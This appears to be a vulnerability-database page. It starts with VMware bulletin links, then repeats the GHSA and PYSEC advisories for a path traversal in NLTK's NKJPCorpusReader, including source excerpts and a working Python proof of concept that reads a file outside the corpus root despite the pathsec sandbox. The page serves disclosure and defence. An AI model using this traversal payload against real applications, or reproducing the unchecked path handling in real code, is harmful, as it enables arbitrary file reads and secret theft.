          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39530"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39537",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39537"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39533",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39533"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39526"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39518",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39518"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39542",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39542"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39517",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39517"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39547"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39528",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39528"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39514",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39514"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39523",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39523"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39516",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39516"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39551",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39551"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39525",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39525"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39543",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39543"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39541",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39541"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39540",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39540"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39524"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39527",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39527"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39519",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39519"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39546",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39546"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39521",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39521"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39538",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39538"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39529",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39529"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39535",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39535"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39515",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39515"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39531",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39531"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39532",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39532"
        }
      ]
    }

    GHSA-6HM5-JGCP-P838

    Vulnerability from github – Published: 2026-07-31 16:50 – Updated: 2026-07-31 16:50
    VLAI
    Summary
    Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
    Details

    Summary

    A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

    ### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

    NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

    • add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
    • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
    • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

    Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

    ### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

    pip install "nltk==3.9.4" python3 poc.py

    poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

    print("nltk", nltk.version)

    # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

    # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

    # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

    # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

    reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

    print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```

    Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

    ### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

    Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

    Show details on source website

    {
      "affected": [
        {
          "database_specific": {
            "last_known_affected_version_range": "\u003c= 3.9.4"
          },
          "package": {
            "ecosystem": "PyPI",
            "name": "nltk"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "3.10.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-12072"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-22"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-07-31T16:50:55Z",
        "nvd_published_at": "2026-06-15T20:16:34Z",
        "severity": "HIGH"
      },
      "details": "### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, \u0027..\u0027 not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 \u2014 pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker\u0027s target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
      "id": "GHSA-6hm5-jgcp-p838",
      "modified": "2026-07-31T16:50:55Z",
      "published": "2026-07-31T16:50:55Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)"
    }

    OPENSUSE-SU-2026:11469-1

    Vulnerability from csaf_opensuse - Published: 2026-08-06 00:00 - Updated: 2026-09-17 17:18
    Summary
    python313-nltk-3.10.1-1.1 on GA media
    Severity
    Moderate
    Scope
    3 vulnerabilities in this advisory, including CVE-2026-12072.
    CVE-2026-12072
    Recommended: 8 products
    Open the full advisory

    PYSEC-2026-3581

    Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
    VLAI
    Details

    Summary

    A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

    ### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

    NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

    • add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
    • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
    • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

    Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

    ### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

    pip install "nltk==3.9.4" python3 poc.py

    poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

    print("nltk", nltk.version)

    # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

    # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

    # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

    # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

    reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

    print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```

    Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

    ### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

    Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

    Impacted products
    Name purl
    nltk pkg:pypi/nltk

    {
      "affected": [
        {
          "package": {
            "ecosystem": "PyPI",
            "name": "nltk",
            "purl": "pkg:pypi/nltk"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "3.10.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "0.8",
            "0.9",
            "0.9.3",
            "0.9.4",
            "0.9.5",
            "0.9.6",
            "0.9.7",
            "0.9.8",
            "0.9.9",
            "2.0.1",
            "2.0.1rc1",
            "2.0.1rc2-git",
            "2.0.1rc3",
            "2.0.1rc4",
            "2.0.2",
            "2.0.3",
            "2.0.4",
            "2.0.5",
            "2.0b4",
            "2.0b5",
            "2.0b6",
            "2.0b7",
            "2.0b8",
            "2.0b9",
            "3.0.0",
            "3.0.0b1",
            "3.0.0b2",
            "3.0.1",
            "3.0.2",
            "3.0.3",
            "3.0.4",
            "3.0.5",
            "3.1",
            "3.2",
            "3.2.1",
            "3.2.2",
            "3.2.3",
            "3.2.4",
            "3.2.5",
            "3.3",
            "3.4",
            "3.4.1",
            "3.4.2",
            "3.4.3",
            "3.4.4",
            "3.4.5",
            "3.5",
            "3.5b1",
            "3.6",
            "3.6.1",
            "3.6.2",
            "3.6.3",
            "3.6.4",
            "3.6.5",
            "3.6.6",
            "3.6.7",
            "3.7",
            "3.8",
            "3.8.1",
            "3.9",
            "3.9.1",
            "3.9.2",
            "3.9.3",
            "3.9.4",
            "3.9b1"
          ]
        }
      ],
      "aliases": [
        "CVE-2026-12072",
        "GHSA-6hm5-jgcp-p838"
      ],
      "details": "### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, \u0027..\u0027 not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 \u2014 pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker\u0027s target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
      "id": "PYSEC-2026-3581",
      "modified": "2026-08-04T13:36:24.493498Z",
